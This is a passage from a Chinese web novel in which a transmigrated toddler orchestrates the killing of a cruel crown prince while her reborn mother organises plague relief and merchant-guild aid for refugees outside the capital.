虽然知道温令仪是重生的人,但温令仪骨子里的忍辱负重和勇敢,即便不是重生也一定是早就具备这样的品格的,只不过没有给她施展的机会,如今挺身而出并非是为了朝廷,而是为了百姓,这样的女子,真是凤毛麟角的。 墨染没走,回到了秦国公府。 坐在小囡囡床边,看着睡得香甜的小家伙,不忍打扰。 小李氏守在床边:“墨姑娘,小小姐临睡前还念叨呢,奴婢给您准备了吃喝,要么先沐浴更衣,用过饭再让小小姐醒来?” “好。”墨染起身。 小李氏让棠雨和梨雪在这边守着小囡囡,亲自伺候墨染沐浴更衣,让容氏送过来饭菜。 墨染坐下来,吃的很慢。 小李氏和容氏就守在门外。 小囡囡翻了个身,洗了洗鼻子问:“棠雨,是不是姨姨回来了?” 棠雨柔声:“小姐,墨姑娘刚到,这会儿在用饭。” 小囡囡翻身爬起来,棠雨赶紧伸出手抱着她:“小姐要去见墨姑娘吗?” “嗯,我有话要说。”小囡囡说。 墨染抬眸看着还揉着眼睛的小囡囡,笑了:“这么小,都能控制身体需要了吗?” 小囡囡叹了口气:“我觉得啊,遇到你,遇到娘亲,我的世界就乱套了呢。” 棠雨把小囡囡放在坐榻上。 小囡囡抬眸看了眼棠雨,棠雨恭敬的退出去,还把房门关上了。 墨染笑了:“规矩还挺大。” “倒也不是,主要是我和姨姨的话,她们听到可能会疯。”小囡囡吐吐舌头:“以为闹鬼了呢。” 墨染放下筷子,直接躺在榻上,偏头:“看来是要说点儿别人听不得的话了。” “是啊。”小囡囡索性也躺下了,偏头看墨染:“你是时空修补者。” 墨染点头:“确实。” “而我是穿书的,你明白吗?”小囡囡看着墨染:“也就是说,在我的世界里,这是一个剧本。” 墨染扶额:“或许,这就是平行世界呢。” “那不重要,重要的是这幅身体的亲娘是重生人。”小囡囡说:“这是不是有些太复杂了?我以为我一个人就够了,结果你出现了,那我所知道的剧情和你要修补的漏洞,都因为我娘亲的重生,改变了,对吧?” 墨染看着小囡囡:“你在试探我。” “是的,因为在我看来,萧玄策是位面之子,他注定会成为最后的赢家。”小囡囡说:“我爹若是死在萧玄策手里,我娘不一定伤心,我也好像不会很伤心,但我来这一遭是为了让我娘亲成为最幸福的人,我的目的就达不到了。” 墨染觉得自己到底是无法把小囡囡当成成年人那般,感情上更多疼惜,都是因为这个小模样,不然她可能要立刻抹杀这个孩子。 “你怕我对你和你娘出手。”墨染说:“毕竟裴祈安的命运,若没有你们两个人,是不会改变的。” 小囡囡神色凝重起来,这也是她最担心的。 墨染摇头:“不会,我的目标是萧玄策,他杀戮太重,登基之后是彻头彻尾暴君狂徒,杀了整整三代惊才绝艳的人,让这个世界后来近乎毁灭,只是如你所说,我杀不了他。” 小囡囡松了口气:“所以,我们可以合作,看似我和我娘亲是在帮助我们在乎的人,其实也可能是来帮你的,我们的目标不冲突,对不对?” “对,裴祈安是个了不起的人。”墨染说。 小囡囡轻声:“那是因为他知道自己妻女都活着,他愿意为妻女放手一搏,所以只要我和娘亲好好的,他和萧玄策才是真正的对手。” “有道理,放心吧,我的目的就是完成任务,不会妨碍你们一家三口。”墨染说。 小囡囡笑了。 墨染好奇的问:“你说你穿书,难道你不想回去吗?” “回去?去哪里?我无父无母,没有亲朋故友,我在这里多好啊,爹厉害,娘也厉害,我更厉害,他们都很爱我的,我找到了我想要的,不会离开,重新活一次是赚了。”小囡囡说。 墨染揉了揉小囡囡的软发:“那好,我们以后还会见面,我离开之前一定会送你一份大礼。” “我贪得很,来者不拒嗷。”小囡囡伸出小手。 墨染和她三击掌。 小囡囡爬起来,让棠雨送进来笔墨纸砚,小小的手抓着大大的笔,费劲的写着字,墨染过来看一眼,噗嗤笑了:“若是你以后不好好读书,你可能不是他们心目中最好的崽。” “会的,我就是最好的崽。”小囡囡认真写字:“可惜这边人太能生娃,以后我会有一群弟弟妹妹,想一想都烦。” 墨染端详着小囡囡,笑得见牙不见眼的,怎么都看不出来烦,应该是很期待吧。 拂晓时分,墨染悄无声息离开。 小囡囡醒来的时候,枕边多了一枚令牌。 “唉,我也不知道要收多少这些玩意儿,我喜欢圆滚滚的一切呢。”小囡囡嘀咕着,把令牌收到了箱子里。 棠雨和梨雪伺候着小囡囡起身,外面已经有了三十几个妇人,她们就在秦国公的后花园开始垒灶台,一口口大锅摆在上面。 小囡囡坐在凉亭里,看着这些人忙忙碌碌的样子,问:“林嬷嬷呢?” “小姐,林嬷嬷不在府里。”梨雪说。 小囡囡说:“去叫是林嬷嬷回来,要从京城最繁华的地方走,越多人知道越好。” 城外,梨雪找到了温令仪,温令仪听说小囡囡要见林嬷嬷,赶紧让林嬷嬷回京,一把年纪非要来,自己还犯愁没有好理由让她回去呢。 梨雪和林嬷嬷从闹市进京,有人认出来林嬷嬷,立刻逃走,生怕被时疫感染。 “小小姐,真是这么说的?”林嬷嬷担忧了。 梨雪低声:“小小姐的意思,越多人知道越好,咱们慢慢走。” 第140章 您是知情人啊 京城里的人都知道秦国公世子夫人跟前的老嬷嬷进京城了。 时疫当头,京城严防死守,这么明目张胆的就入城了还了得?三五成群的人出现,像是商量好了似的,拦住了林嬷嬷的去路。 林嬷嬷看着眼前这些人,微微蹙眉,她明白小小姐的意思,人性的可怕是如此诛心,这些人面目可憎,都忘记了曾经受过保和堂的救命之恩。 “老婆子,赶紧回去城外!”一个壮汉粗声大气的说。 梨雪看林嬷嬷,眼里有了怯意。 林嬷嬷轻轻地拉着梨雪挡在身后,往前一步:“若我不回去呢?” “你不回去?”一个年轻的妇人指着林嬷嬷:“我们都是穷苦人,你是想要把我们都害死吗?外面时疫那么重,我的孩子都还小。” 林嬷嬷叹了口气:“我们小小姐才一岁多,老奴是替夫人回来看看孩子,你也是当娘的人,能理解吧。” “理解个屁!”年轻妇人啐了一口:“你们富贵人家的命是命,我们穷人家人的命是草吗?你们病了各种好东西都能救,我们要病了就全靠命硬,滚出去!” 这话触动了很多人的心,一个个逼向林嬷嬷。 不远处的马车里坐着的人,撩开帘子撇着嘴儿:“真是该死的贱民。” “主子可千万慎言,若是传到了那位耳中,是要被罚的。”小太监吓得脸色苍白。 帘子放下,马车里的少年单手撑着头,吩咐:“去旁边的茶楼,选个好地方看热闹。” 小太监不敢不从,先去打点,再来接主子往对面去。 殊不知这一幕早就被小囡囡看在眼里了。 大皇子当街鞭挞百姓,被误伤。 上一世天家的衰败就是从今天开始的,小囡囡觉得自己可以做点儿事。 南英在旁边:“少主,您让老奴准备的人都准备好了。” 小囡囡点头:“那就选个好时机,我不管怎么做,只要把郎北宸的命留在这里就行。” “是。”南英看了眼外面那些人,足够七八十口,再看少主云淡风轻的样子,觉得自己一定要提醒少主一句,毕竟孩子岁数小:“少主,最后下面那些人可能都会死。” 小囡囡头都没抬:“死有余辜。” 好家伙! 南英算是明白了,为什么主子会认下这个干女儿,还把自己在大夏的全部身家都交给这个小娃娃,原来两个人骨子里是如此相像啊。 更有甚者,少主才一岁出头,这孩子太可怕了。 当今皇上还是太子的时候就成亲了,成婚第二年便得了嫡长子,先皇亲自赐名玉衡,不言而喻,太子会成为皇上,而这位刚出生的小皇子会成为太子,未来的君王。 果不其然,先皇驾崩后,太子登基成为了永元帝,永元帝登基三日后立储君,大皇子郎玉衡成为太子,居东宫,如今郎玉衡已十二岁,据说颇有开国之君的风范。 小囡囡撇嘴儿,风范个屁,暴虐的性子被捧上天,还以为自己是人间阎王呢。 郎玉衡坐在临窗的位子,居高临下看着外面的林嬷嬷和梨雪,目光落在梨雪的身上,微微的眯起眼睛。 身边的小太监仗着胆子提醒:“殿下,那是秦国公府的人,是伺候在小小姐跟前的丫头。” “带回去。”郎玉衡说:“看着挺机灵的,应该是个识趣儿的。” 小太监不敢不从,心里头害怕的厉害,那位秦国公的世子夫人厉不厉害不说,人是真的很好,前些日子爹娘还捎信儿来说,要不是保和堂,他爹的命就没了。 再看那个小丫环八九岁大小,这么小的小姑娘哪里会有活路?这不是造孽吗? 隔壁小囡囡单手托腮,看着林嬷嬷单手叉腰开始骂人,忍不住勾起唇角笑了,她就知道娘亲身边的人,最得力的便是这位了,自己什么都没说,梨雪还没有那么深的城府,但老人家却领会了自己的意思。 突然,几个壮汉上前要抓林嬷嬷。 小囡囡脸色一沉,偏头看了南英一眼。 南英立刻说:“老奴这就去。” 小囡囡看着这些人步步紧逼,林嬷嬷护着梨雪后退,就在这个时候两个年轻人突然出现在林嬷嬷身后,去抓梨雪。 小囡囡磨了磨牙,小魔头,今儿就是收你的时候! “梨雪!”林嬷嬷感觉到不对,回头见两个年轻人抓着梨雪就跑,惊呼一声。 没防备,后面有人举起来大棒奔着林嬷嬷的后脑勺去了,小囡囡瞬间握紧了拳头,她知道太冒险,怕有个万一,对不起娘亲。 突然,两个黑衣人出现,其中一个人一拳打飞了对林嬷嬷出手的人,护住了林嬷嬷,另外一个人飞身拦住了那两个护卫的去路,身形犹如鬼魅,梨雪已被救走。 隔壁的郎玉衡顿时来了精神,他从小习武,再宫里已经没有对手了,竟然遇到了会两下子的人,技痒难耐,飞身从二楼落下,小太监阻拦不及,想死的心都有。 小囡囡终于等到郎玉衡出现了,嘴角噙着一抹冷笑,这次重伤都不需要了,直接去轮回吧! 南英做事,非常稳妥。 林嬷嬷看到梨雪被救,管不了那么多过去拉着梨雪就跑。 小囡囡早就安排人在旁边接应,林嬷嬷和梨雪直奔秦国公府。 长拳短腿,下面这些百姓都蒙了,等反应过来哪里还有林嬷嬷和梨雪的影子,倒是年轻的贵公子真厉害啊,以一敌四打得不可开交。 外行看热闹,都觉得郎玉衡厉害,小囡囡也是外行,但居高临下看得很清楚,南英让着四个人把郎玉衡困在中间,等待机会。 果不其然,郎玉衡越打越兴奋,抽出了腰间软剑,南英发号施令,郎玉衡还没等发威,众人都觉得眼花缭乱,四个人跑的太快,他们都看不清了。 一声惨叫,四个人犹如断线风筝一般,分四个方向飞奔而去。 众人再看,手持软剑的郎玉衡人头都耷拉下来了,只剩了点儿皮肉连着。 小太监瞪大眼睛,张开嘴发不出任何声音,只看到主子一腔热血喷得很高很好,他眼前都是血红色。 “杀人啦!”有人反应过来撒腿就跑,场面乱成一团。 南英出现在茶楼,护送小囡囡回府。 小囡囡回到听风苑。 林嬷嬷和梨雪都在。 “小小姐,这是?”林嬷嬷不确定小小姐想要做什么,甚至是有点儿不相信的,毕竟小小姐还太小了。 小囡囡说:“您老看到了吧,不是什么人都有良心的,娘亲在外面又苦又累,可也要多为自己着想,明日您老要带着足足的人手,送这些干粮出京,旁的事不用管。” 林嬷嬷知道小小姐非比寻常,尽管心里怎么都转不过来那个弯儿,但主子就是主子。 直到,外面做活儿的妇人们窃窃私语传到林嬷嬷耳中,林嬷嬷险些没跌坐在地上,天奶奶啊,太子当街被人斩首,小小姐让自己入京走最繁华的地方,那些百姓拦路,有人抢梨雪,到后来…… 细思极恐,后背冷汗打湿了衣衫,脸色苍白的她站都站不起来了,她不是个怂人,可这会儿简直要被吓死了。 “嬷嬷,小小姐请您过去。”棠雨蹦蹦跳跳的跑来,看到林嬷嬷一幅被吓坏了的样子,赶紧过来扶着林嬷嬷:“嬷嬷,您这是病了吗?” “没有,没有,我去见小小姐。”林嬷嬷起身,来见小囡囡。 屋子里,只有小囡囡一个人,林嬷嬷直接跪下了:“小小姐,万万不可任性而为啊,这次可闯了大祸。” “嬷嬷,你不觉得这样才能帮到我爹和我娘吗?”小囡囡过来,直接坐在林嬷嬷面前,抬头笑眯眯的看着林嬷嬷:“您,是知情人啊。” 第141章 分明是个成精的小狐狸啊 林嬷嬷一下就冷静了。 跪坐在地上,打量着小囡囡。 自己是知情人,从第一次摄政王宿在小姐房内就知道。 小囡囡说的爹,只能是摄政王。 可是这个孩子才多大啊,竟有如此手段,实在骇人。 帮?这是在帮小姐和摄政王吗?死的可是太子啊。 小囡囡不急不忙,随手从挎包里掏出来两个滚圆的珠子,一红一绿在手里把玩:“我祖父全族被杀,我爹身中半边月的毒。” 林嬷嬷倒吸了口冷气。 “我外祖父、舅舅,也都被半边月的毒折磨着,我娘被算计的婚事,一次次被凌*辱,多可怜啊。”小囡囡说。 林嬷嬷眼泪都下来了,别人不知道,小姐是可怜,尽管小姐和摄政王的关系会被世人所不容,可是世人哪里知道小姐的迫不得已啊。 “我爹得报仇,我娘也得报仇,不然外祖父全家也会像是祖父全家那般被害死,那个郎玉衡太坏了,太子府后院枯井都被填满了,都是梨雪这么大的小姑娘,人命可不分贵贱,一条算一条。”小囡囡说。 林嬷嬷抹了眼泪:“小小姐,老奴没什么见识,只想着伺候好小姐和小小姐,也听不懂小小姐这些话,就是害怕被连累。” “不会的。”小囡囡伸出小手拍了拍林嬷嬷的手臂:“咱们明儿一早送干粮出京,京城头一份为皇上分忧的人是我娘亲,至于街上被拦,您老逃走的时候,不是只看到了那些百姓吗?后面的事情你不知道啊。” 林嬷嬷摇头:“可,追查下来都逃不掉。” “若是没人敢查呢?”小囡囡笑眯眯的看着林嬷嬷。 林嬷嬷觉得自己面前哪里是个粉雕玉琢的小娃娃,分明是个成精的小狐狸啊。 就在林嬷嬷彻夜难眠,想着如何护住小姐和小小姐的时候,永元帝被带到了东宫枯井旁,一具具尸体和累累白骨堆在眼前,就连他都忍不住干呕。 再去密室看到那些瑟瑟发抖的小女孩和各种刑具,地面上的血迹都凝固了厚厚一层,一口鲜血喷洒出来,身体摇摇欲坠。 这就是他给予厚望的太子,每日带在身边教养,期待郎家再接再厉,江山永固。 赵长义搀扶着永元帝走出东宫,御书房里,永元帝闭目良久,说:“太子暴毙,不需发丧,葬在皇陵百米外。” “是。”赵长义领旨。 永元帝叫来暗卫,仔细询问当时情形,去找小太监的时候,只找到了冰冷的尸体,是自缢在他房间里的。 翌日。 秦国公府府门大开,带着浓浓面香的馒头从京城送出去,那一车车的馒头让许多人都伸长了脖子,这个时候能拿出来这么多粮食,实在不容易,京城最不缺富贵人家,可是连施粥都不愿意,倒不是没有米粮,而是怕把时疫带进京城。 永元帝得到消息,最后那点儿想要为太子报仇的心思也没有了。 毕竟太子当街要抢秦国公府的小丫环是事实,一个老嬷嬷和一个小丫环能有多大的本事?那些动手的人身手极强,在动手之前就把暗卫都处理干净了,也就是说早就等这样的机会除掉太子,只不过秦国公府的人赶上了。 温家不在,晏怀卿也在边关,府里只有温令仪带着孩子和几个女眷,药王谷的人早就离开了京城,温令仪能有多大的本事?就算有这么大的本事也没有那个胆子。 历朝历代,太子死的如此悄无声息,头一遭。 林嬷嬷带着车队到城外,见到温令仪的时候,两条腿都是软的。 温令仪也没想到小囡囡做这么大的事,这些粮食单靠自己的本事未必拿得出来,更不用说府里还在继续蒸馒头。 “施粥。”温令仪说:“直接送米粮到这边,流民越来越多,我要入宫。” 林嬷嬷扑通就跪下了:“夫人,万万不可。” 温令仪这才发现林嬷嬷脸色不对,搀扶她起身:“怎么了?” 林嬷嬷左右看了眼。 温令仪带着她来到自己的帐篷里。 林嬷嬷压低声音把自己回京,遇到那些百姓拦路,太子要抢梨雪最后被当街斩杀的事说了一遍。 温令仪缓缓地吸了口气,她知道小囡囡在断大夏根基,当今皇上子嗣极少,太子之下还有两位公主和一位皇子,那皇子跟小囡囡差不多大,是皇后身边的宫女所出,至于妃嫔,一个个都无所出,原因不详。 “我更需进宫一趟了。”温令仪让林嬷嬷坐下:“奶娘在这边就行,流民并非都感染了时疫,但若控制不住的话,不止会病死很多人,朝廷若是下旨屠杀这些百姓,那势必会血流成河。” 林嬷嬷拉住温令仪的衣袖:“小姐啊,朝廷那么多官员,皇上怎么会让小姐说话?女子擅议朝政都是大不敬啊,更何况皇上失去太子,正在气头上啊。” “我若不敢入宫,才会陷入危险境地,这个时候越是走到人前才越安全,奶娘放心吧。”温令仪说:“我会小心行事的。” 再有,小囡囡出手够狠,自己若不回去看一眼,怎么能安心? 温令仪跟着马车队伍回京,这次没有人阻拦,大街上甚至连一个人都看不见。 保和堂门口,温令仪下了马车。 留守在这边的郎中赶紧迎出来。 “东家,外面如何了?”郎中问。 温令仪摇了摇头:“病患太多,让人准备热水。” 这次回京,温令仪连碧桃和海棠都没带回来,回来的人越少,也就能最大限度不把时疫带进京城。 沐浴更衣后,温令仪出门往宫门口来,递了帖子求见太后。 闵太后得知温令仪入宫,强忍着失去长孙的痛,宣温令仪入宫。 温令仪没有敢进太后的宫殿,跪在宫门口:“太后娘娘,臣妇回京为民请命,如今需要京城里的各家各户出人出力,城外百姓缺医少药本就艰难,食不果腹才是生死攸关的大事,我已倾尽全力,可也是杯水车薪,求太后救那些百姓。” 闵太后擦了擦眼泪,走出来远远地看到跪在地上的温令仪,这些日子把她操劳的瘦了一圈不止,一想到自己的皇长孙做得那些下做事,眼泪就止不住,郎家遭天谴了吗?怎么出这样一个逆子,若是温令仪知道是因为抢她女儿身边的小丫环,又怎么会跪在这里,又怎么愿意为国操劳? “令仪啊,回府去歇息两天,哀家这就去求见皇上。”闵太后说。 温令仪叩首谢恩,离宫回家。 刚进听风苑,就听到了小囡囡的笑声,那声音十分悦耳。 她来到门外,柔声:“囡囡。” “娘亲!”小囡囡撒欢儿似的跑过来,那模样怎么都像个可爱的小娃娃,但温令仪知道,这孩子不知道以后到底会变成什么样子,心里担忧啊。 蹲下来抱住乳燕投怀般的女儿,轻轻地吻了她的脸颊。 “娘亲,我要跟你说个大事。”小囡囡抱着温令仪的脖子:“快进屋。” 进屋落座,小囡囡把自己的小匣子取出来送到温令仪面前:“娘亲,你看。” 温令仪打开匣子,愣了一瞬:“这?你安排人在雁门关了?” 第142章 若长远看,到底会吃人心叵测的亏 打从晏怀卿离开后,只有小张氏送来一封晏怀卿写回来的书信,其他的消息一概不知。 当然,穆青逃走这个是大事,早在晏怀卿写信回来之前就知道了。 可她怎么也没想到小囡囡竟然利用手里的这些人,把雁门关的消息收集得细致入微,甚至连晏怀卿的妾室在什么时候发现怀孕都清清楚楚。 温令仪看着小囡囡,心里满是酸涩,自己重生归来一直都在努力做事,可如横空出世的小囡囡却处处先自己一步,为自己盘算周全,她还是个孩子啊,哽咽的出声:“为何要如此贴心呢,你还这么小。” 小囡囡趁机过来蹭到温令仪的怀里:“娘亲,这次我必定护你周全的,我小才好啊,谁能防备我呢?” 温令仪拥着小囡囡,那种像是拥有了这天下的感觉让她笑着都能落下泪来:“囡囡啊,恨不恨娘没保护好你。” “娘亲,如果生死关头,你要先保护自己,然后才是其他人,我也算其他人,有心算无心的时候防不胜防,我怎么会怪娘亲?我只会憎恶仇人心狠手辣,并且千百倍还回去啊。”小囡囡语调天真,但这话却让温令仪有了振聋发聩的感觉。 温令仪低头亲吻小囡囡的额头:“囡囡是说那些百姓阻拦嬷嬷进城吗?” “授之以鱼不如授之以渔,人若不是辛苦所得,久而久之就觉得自己应该被供养,可这是上的事情只需要多问一句‘凭什么’,就不会有那么多被白眼狼利用的付出,娘亲,你说呢。”小囡囡说。 温令仪凝眸看着小囡囡,明明是那么稚嫩的模样,可这些道理却说得自己都哑口无言。 小囡囡理解她的窘迫,若非本性纯良,上一世就不会被囚禁三十年之久,正因为本性纯良,所以即便是重生归来,短期内快意恩仇无妨,若长远看,到底会吃人心叵测的亏。 她要得从来都不是平安就好,所以她的娘亲要成为女中丈夫,纵横裨阖之间谈笑风生,谈笑风生之时杀人于无形。 “囡囡,真的有人生而知之吗?”温令仪问。 小囡囡摇头:“但有的人很幸运,冥冥中有恩师点拨,洞悉世事就比较容易,寻常人是一步一个坎中摸爬滚打才能得来的经验和教训,于我来说只是睡一觉,做个梦就能学到的本领啊。” “好,真好。”温令仪慢条斯理的和小囡囡说此番回京,说城外流民,说时疫凶险,也说天家无情,甚至把半边月都说了。 小囡囡的执念也恰恰是半边月,在她没有穿书之前,半边月可以说是贯穿全书的坏东西,可是到最后也没有明确说半边月到底是不是能解,因为一切都在温家死绝,裴祈安被虐杀,温令仪被挖心的时候,戛然而止了,而往后就是晏明昭因手握重兵恣意张扬,大夏国君臣服萧玄策从皇成为诸侯。 半边月似乎只为了杀死温家人和裴祈安,为萧玄策扫平最大障碍而来的设定。 “大梁宝藏里可能有半边月的方子,或者解毒丹。”温令仪说。 小囡囡微微摇头,大梁宝藏在原书里,跟着上官子玉的死亡一起消失了,后来人根本没有找到这处宝藏。 温令仪看小囡囡摇头,问:“囡囡是觉得没有吗?” “不是,是觉得不能操之过急,娘亲要等一等爹爹,爹爹为了你我在外拼杀,等他归来,等需要的时候再打开宝藏,那才是良机,怀璧之罪我们还承受不起。”小囡囡说。 温令仪笑了:“囡囡,在你跟前啊,娘亲觉得自己像是个孩子,需要学很多很多东西。” “不需要呀,娘亲只管去做自己认为该做的事,在爹爹回来之前,囡囡能给你兜底。”小囡囡煞有介事的说。 温令仪觉得自己是个好命人,至少这一世真的好运道。 至于以后自己和裴祈安会走到哪一步,其实她不担心,小囡囡像是无暇美玉,通透的让自己都惭愧。 虽然般般都厉害,可小囡囡到底还小,温令仪看着睡着了的女儿,轻轻地帮着脱了衣服,盖好了被子,这才拿出来关于雁门关的消息。 晏怀卿到雁门关,晏戈就利用信物召回晏家军旧部,只用了半个月就把雁门关清理干净,让晏怀卿成为雁门关一手遮天的人物,身边最厉害的谋士叫张权,此人一直都在雁门关旁边的苍山里占山为王,手底下有三千多人,晏家得到供养非但不缺钱财,还米粮充足,这个人确实是个厉害的。 再就是晏戈身体一反常态,非但不虚弱将死,反而还生龙活虎了,皇上在临别前给过晏家父子丹药,这丹药有效,至于是不是解药尚未可知。 温令仪看完这一段,从匣子里取出来个蜡丸打开,闻了闻里面的药丸,仔细分辨其中所用草药,决定制一批出来送去漠北。 最后提到了罗政。 罗政身为天子门生刚到雁门关,同去的还有十几个世家子,倒是没有什么建树,也没惹什么祸,晏家对他们十分客气,也就只有客气,倒是晏怀卿和罗政关系比寻常人好一些,不用想也知道晏怀卿想要拉拢罗家,罗政想要弄死他,两个人虽然目的不同,但一拍即合。 “罗政啊。”温令仪微微蹙眉,她等小囡囡睡醒后一定要拜托小囡囡,让她的人无论如何护罗政全须全尾的回来,不然愧对罗无咎罗老爷子的帮衬。 就在温令仪理顺雁门关这些消息的时候,罗无咎从宫里出来了,他叫了儿子和长孙到书房。 罗少商是众合商会的会长,动用民间力量安抚城外百姓,永元帝虽然没明说,可众合商会必须首当其冲才行。 罗岳给祖父和父亲斟茶后,坐下:“这也是没有办法的办法,皇上让户部彻查各地粮仓的事,明知道查也是一笔烂账,可不查,不杀一批人,皇上心里愤懑难消,国库空虚至此,尚且未正式开战,已经就输了一半了。” “也是想要让李若甫放放血。”罗无咎摇头:“身为一国之君,竟都是妇人的伎俩,到底是我眼拙看错人了。” 罗少商知道父亲很长一段日子都因朝廷的事郁郁寡欢,怕伤了他的根本,出声:“父亲,温家二小姐早一步就开始应对城外流民了,草药和郎中不说,吃喝也在源源不断的送出去,众合商会就算皇上不说,也不能袖手旁观,并且早就有准备。” “哦?”罗无咎看罗少商。 罗少商说:“温家二小姐早在商会成立之初就说囤粮,所以源源不断拿出来粮食是没问题的,只不过不能太冒头,要慢慢来。” 罗无咎点头:“那明儿开始,商会那边就去城外施粥,余下的走一步看一步。” 翌日。 温令仪起身叮嘱了小囡囡,让她派人照看罗政,拿了药丸去保和堂,写了方子交给保和堂的郎中,让他们多制蜡丸保存。 安排好京城的事,出门往城外去。 沿途,一辆辆马车排起了长队,马车上拉着大锅和米粮。 温令仪放下帘子,微微的勾起唇角,她看到那些马车上都有众合的标识,她想要看看天下商会该如何应对,这京城啊,好几股势力盘踞,她觉得自己的小囡囡最厉害,且走着瞧。 第143章 撑不起来众合商会吗? 她有着天时地利和人和,怎么能不更奋进呢? 什么是自己的仰仗,自是民心。 小囡囡说得对,授人以鱼不如授人以渔,自己只顾着低头给病患治病,可这些流民哪里有正常的?就算身体没病,背井离乡,怨念极大,这也是病。 罗少商亲自来了。 温令仪给最后一个病人开完了药方,灵机一动想到了昨晚自己用一夜破解的培养丹,虽说那些草药有很珍贵的,但退而求其次并非没有替代,这些百姓太需要了。 “罗伯父。”温令仪请罗少商落座:“您怎么亲自来了,外面凶险。” 罗少商笑了:“令仪是女子都能在这里,我不来这老脸都挂不住啊。” “天下商会有动静吗?”温令仪问。 罗少商看着温令仪:“令仪和我想到一起去了,天下商会的粮价一直在涨,我们众合商会到现在都没有把粮食放在市面上,有心算无心,咱们这次必定能把京城八成的商户都笼络在手里。” “罗伯父,接下来时局会越来越艰难,南方水患之后更需要商会,扶持那些商贾自力更生,我们的钱庄可以在那边放一些款项出去。”温令仪说。 罗少商微微点头:“宋氏的钱庄可以往南方去,这是个好契机。” “这件事我只是提一提,具体怎么做要看罗伯父的。”温令仪笑着说:“我有保和堂,我也会去南地开保和堂。” 这次见面之后,罗少商知道众合商会可不止是针对天下商会,这条路长着呢。 施粥的人,众合商会直接挂起了标识。 秦国公府直接挂上了标识。 行善积德不留名?那是善人,但他们是商人。 陆续施粥的人多了,秦国公府的馒头也从没断过,温令仪开始安排出隔离区域,生病的人集中治疗,健康的人分散开安置,这些蒋康的人自发的帮忙,捡柴、挖野菜,至少能果腹。 罗少商跟这些流民越来越熟悉后,开始寻找目标,劝说他们回去故乡,重新开始新的生活,行脚商人可以给本钱,坐地商户、手艺人,都可以扶持,就连什么手艺也没有,也没有祖业的人,罗少商更都承诺给安顿的钱,不用他们还钱,只需要把结余的粮食以公道的价格卖给众合商会就行。 背井离乡,哪里有不难过的?特别是逃难来到这里的这些日子,若不是镇国公的二小姐帮助他们,哪里还有活路?京城也不是想象当中遍地黄金。 所以,众合商会的提议,立刻有很多人都动心了。 就在罗少商准备好了陆续把这些流民送回原籍的时候,天下商会也跑来施粥了。 所有的说辞竟和众合商会一模一样,并且把平阳纪家搬出来了。 南方人,谁不知道平阳纪家? 平阳纪家那可是代代豪富,这次逃难到京城,很多人都得到了纪家的帮衬,那是南地出了名的大善人。 如今只要依附于纪家,便可以得到帮衬,无论是商人、手艺人和农人,甚至纪家承诺可以建学堂,开放给能供养孩子读书的人家,这简直瞬间击中了那些虽逃难,但手里有点儿家底子人的心。 罗少商眉头紧锁。 众合商会里不干净。 不然就算纪家要出手,也绝对不可能提出来跟众合商会一模一样的条件,然后再压一头。 卑鄙无耻! 但这就是商道。 罗少商一筹莫展的时候,手底下的人进来禀报:“有一个叫南英的老人求见。” 南英? 罗少商完全没听说过这么一号人,不过素来没什么架子的他让人请南英进了帐篷,看到南英一身管家打扮,罗少商反倒释然了,有人要出手,众合商会正需要。 南英恭敬的行礼后,开门见山:“罗大爷,我们少主得知天下商会试图和众合商会唱对台戏,非常赞赏温家二小姐的人品和所作所为,所以遣老奴过来和罗大爷商量,只要流民愿意从京城会去原籍,每个人再给十两银子。” 十两银子? 罗少商倒吸了一口冷气,十两银子看着不多,可外面这些流民三五千不止,这个绝对不是个小数目啊,京城里藏龙卧虎人尽皆知,可如此大手笔,还不是宋家人,这南英背后的人是什么来路? “至于办学,我们少主深知世间女子多不易,众合商会可以操持在各府城开女学,识文断字、教习女红,蚕桑织布和岐黄之术,让女子有一技之长,可谋生求活。”南英说。 罗少商站起来了,激动地冲着南英深深一礼:“大善人,老人家代为转告,罗某必定亲力亲为操持此事。” 南英微微侧身:“请罗大爷随老朽去外面验货。” 验货? 罗少商跟着出来,外面一溜听着十几辆平板马车,马车上齐整整的摆着箱子,每一辆马车旁边都有五个膀大腰圆,一身黑衣的壮汉护卫。 南英抬手,护卫逐一打开箱子,里面是十两一个的银元宝,齐刷刷的摆在眼前,别说流民,就是罗少商都觉得脊背冒汗。 大夏气数未尽,才会在乱世出现这么多救百姓于水火之中的人。 他就是这么想的。 流民见此情景,都恨不得把脖子抻出来二尺长。 罗少商安排人坐在前面,所有愿意回去原籍,并且和众合商会签订契书的人,赠送盘缠十两,不是一家一户,而是每个人!家里有七八口人,那可就是七八十两,穷苦人家一辈子也见不到这么多银子啊。 更有给女子开蒙,授业的女学,全部免费,并且不用家里出米粮。 顿时,罗少商这边被围了个水泄不通,只要家里没有病人需要救治的人家,都恨不得肋生双翅往原籍去。 天下商会的管事气得跳脚,直接气哄哄的跑来找罗少商。 “姓罗的!你这是饮鸩止渴!买卖哪里有你这么做的!简直毫无道义可言!这种人怎么能相信?”管事指着罗少商的鼻子:“别以为有罗大人给你撑腰,你就敢为所欲为。” 罗少商起身,满脸堆笑的拱手一礼:“乔管事这话说的没来由,道义有没有姑且不说,众合商会有良心,为国分忧,取之于民必定用之于民,你不觉得这和朝廷爱护子民,如出一辙吗?” “就是仰仗罗大人给你撑腰!”乔管事怒道。 一辆马车的帘子掀开,里面坐着个小娃娃,戴着修罗面具,清了清嗓子:“乔老四,你是觉得我们撑不起来众合商会吗?” 乔管事刚要骂人,看到修罗面具,吓得脸色苍白,恭敬地垂首:“这、这是少主的意思吗?” 第144章 这倒灶的玩意儿,怎么是说这个? 小囡囡坐在马车里,慢条斯理的说:“天下商会为富不仁,净想一些歪门邪道,乔老四,回去告诉你的主子,再为所欲为,本座要出手了。” 乔管事哪里敢还嘴,尽管在他看来众合商会处处跟自己作对,想出来的才是歪门邪道,可这话若是出口,眼前这个小娃子杀了自己都白死,自己的主子可不会为了一个奴才得罪天道盟。 小囡囡抬了抬手,有人放下马车的帘子,车夫拨转马头缓缓离去。 温令仪就站在不远处,她的女儿可真有本事,竟颇有气势,想到还在自己怀里撒娇的孩子,一扭头都敢自称本座了,嘴角不自觉的勾了起来。 乔管事知道得罪不起,也不跟罗少商废话,急匆匆回去找自家主子了。 罗少商也是一头雾水,那个小娃娃多大?听声音都未必断奶,刚刚还觉得大夏气数未尽,危难时机有救世之人,可现在却不是这个心思了,乱世出枭雄啊,这么小的孩子都能独当一面,自己亲眼看到都不太敢相信啊。 众合商会因温令仪而来,这些人可不是罗家的能耐,所以不做第二人想,这温令仪到底是什么手眼通天的人物? 